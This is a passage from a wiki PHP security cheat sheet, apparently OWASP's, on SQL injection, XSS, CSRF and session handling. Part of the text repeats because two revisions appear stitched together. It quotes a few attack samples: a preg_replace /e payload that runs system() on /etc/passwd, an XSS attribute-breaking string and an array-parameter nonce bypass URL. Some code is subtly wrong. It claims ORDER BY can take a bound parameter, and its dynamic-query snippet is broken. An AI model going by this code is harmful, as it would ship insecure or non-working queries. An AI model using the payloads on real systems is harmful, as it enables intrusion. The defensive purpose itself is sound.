of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Access Control Cheat Sheet=
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues.

=Cryptography Cheat Sheet=

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

=Sources of Taint=

= OLD. PHP General Guidelines for Secure Web Applications =

== PHP Version ==
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones.

== Framework==
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes.

== Directory==
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks.

== Hashing Extension ==
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

== Cryptographic Extension ==
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

== Authentication and Authorization ==
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.

== Input nput validation ==
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']);

== Use PDO or ORM ==
Use PDO with prepared statements or an ORM like Doctrine

== Use PHP Unit and Jenkins ==
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.

== Use Stefan Esser's Hardened PHP Patch ==
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html
(not maintained now, but the concepts are very powerful)

== Avoid Global Variables==
In terms of secure coding with PHP, do not use globals unless absolutely necessary
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)

== Protection against RFI==
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI But don't cause issues by using the pattern include $user_supplied_data or require "base" + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it

== Regexes (!)==
Watch for executable regexes (!)

== Session Rotation ==
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.

== Be aware of PHP filters ==
PHP filters can be tricky and complex. Be extra-conscious when using them.

== Logging ==
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration

== Output encoding ==
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.

These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-03-25T15:53:26Z

Luke Plant:

= DRAFT CHEAT SHEET - WORK IN PROGRESS =
= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all core PHP code, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors will cause the program to stop running, which is the safest thing to do.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

